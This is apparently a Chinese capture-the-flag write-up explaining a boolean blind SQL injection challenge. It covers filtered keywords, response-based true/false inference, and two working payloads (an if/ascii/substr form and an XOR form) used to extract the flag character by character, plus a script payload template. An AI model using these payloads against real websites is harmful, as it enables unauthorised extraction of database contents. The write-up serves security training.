考点:布尔盲注【注意,sql中的substr初始位置是1不是0】
1、页面提示用id传参,而且我们发现是post传参
2、我们传了id=1后提示“Hello, glzjin wants a girlfriend.“
3、由于这题直接输入查询字符,可以通过字典爆破过滤,过滤了and、order、where、空格等字符
4、传id=1’,发现是显示bool值, 这题说明是盲注题型
post:
id=0 —— Error Occured When Fetch Result.
id=1 —— Hello, glzjin wants a girlfriend.
id=2 —— Do you want to be my girlfriend?
id=3 —— Error Occured When Fetch Result.
说明id可以选在(1,2,3)之间,而为什么我们要知道id的取值范围?
因为既然是bool盲注,我们就要通过if配合ascii、substr去判断每个字符匹配结果,而if(x,a,b)中,
如果x满足就返回a,不满足就返回b,这个a/b是赋给id去查询,再看页面结果判断字符是不是匹配上了。
所以我们可以if(x,1,2)或if(x,2,1)…………
只要有结果有唯一关键词就行,比如id=1的关键词是Hello,id=2是Do,id=其他是Error
方法1:IF
exp:
id=if(ascii(substr((select(flag)from(flag)),1,1))=78,1,3)
脚本执行:
payload = f"if(ascii(substr((select(flag)from(flag)),{j},1))={i},1,3)"
得到:
NSSCTF{16fc5f27-f674-436a-be98-e3e7f687aeff}
方法2:异或
0^1=1,0^0=0,0^(1以外任何数)=1
根据这个特性,我们知道,字符匹配只有一个正确结果,所以我们要取唯一的异或值作为if的真
id=0^(ascii(substr((select(flag)from(flag)),1,1))=77)
返回: Error Occured When Fetch Result.
id=0^(ascii(substr((select(flag)from(flag)),1,1))=78)
返回:Hello, glzjin wants a girlfriend.